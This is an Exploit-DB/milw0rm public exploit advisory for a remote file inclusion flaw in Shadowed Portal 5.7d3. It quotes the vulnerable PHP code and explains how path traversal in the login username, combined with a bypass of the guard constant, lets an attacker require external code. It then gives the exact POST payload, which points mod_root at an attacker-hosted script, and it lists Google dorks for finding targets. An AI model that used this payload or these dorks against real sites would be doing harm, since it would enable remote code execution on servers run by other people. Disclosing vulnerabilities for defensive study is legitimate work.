Exploit-DB #4769
Description: Shadowed Portal 5.7d3 - 'POST' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-21
Author: The:Paradox

Exploit:
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
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This is a Public Exploit. 21/12/2007 (dd-mm-yyyy)
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Â§ Shadowed Portal 5.7 and maybe lower - Remote File Includes (Require) Vulnerabilities Â§
Vendor:	  http://www.shad0wed.com
Severity: Highest
Author:	  The:Paradox

Visit inj3ct-it.org

Proud to be Italian.
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Related Codes:

-- control.php; line 1:

<?php

require("config.php");

require("globals.php");

require("functions.php");

require("variables.php");

$return = setvar("return");

if($act == "login") {

$online = 0;

$usr = $_POST['usr'];

$pwd = $_POST['pwd'];

if(file_exists($root."/users/".strtolower($usr).".php")) {

require($root."/users/".strtolower($usr).".php");

}

-- globals.php; line 1:

<?php

define('CHECK',md5("null"));

global $viv;

global $mod;

global $act;

global $do;

global $act;

global $id;

global $tp;

global $w;

global $method;

global $board;

global $user;

global $pass;

global $cat;

global $linkback;

global $HTTP_POST_VARS;

global $_GET;

global $_POST;

global $_FILES;

global $HTTP_REFERER;

global $_SERVER;

-- /modules/fs/mod.php; line 1:

<?php

if(!defined('CHECK')) { exit; }
require($mod_root."/config.php");

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Bug Explanation: 

This Portal presents a vulnerability in the "login system" that allows us to require a page ".php" in the directory "/users/" (whatever using directory transversal ("../") we can require any page).

Additionally "Check" was defined by the required page globals.php, allowing us to bypass the "security-die" on the top of most php page (see /modules/fs/mod.php; line 1).
If we require "/modules/fs/mod.php" with a $mod_root value, we can require an external page of the site.

We can do Post Request to control.php?act=login with post values: usr=../modules/fs/mod&[CREDENTIAL_REDACTED]_root=http://yoursite.org/yourscript? and get RFI.

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The require in control.php is extremely unsafe, it could be used with other pages to obtain other vulnerabilities.
------------------------------------------------------------------------------------------------
Google Dork-> Powered by Shadowed Portal
Google Dork-> These script's code is Copyright 2003-2006 by Shadowed Works.
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Use this exploit at your own risk. You are responsible for your own deeds.
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Use your brain, do not lame. Enjoy. =)

# milw0rm.com [2007-12-21]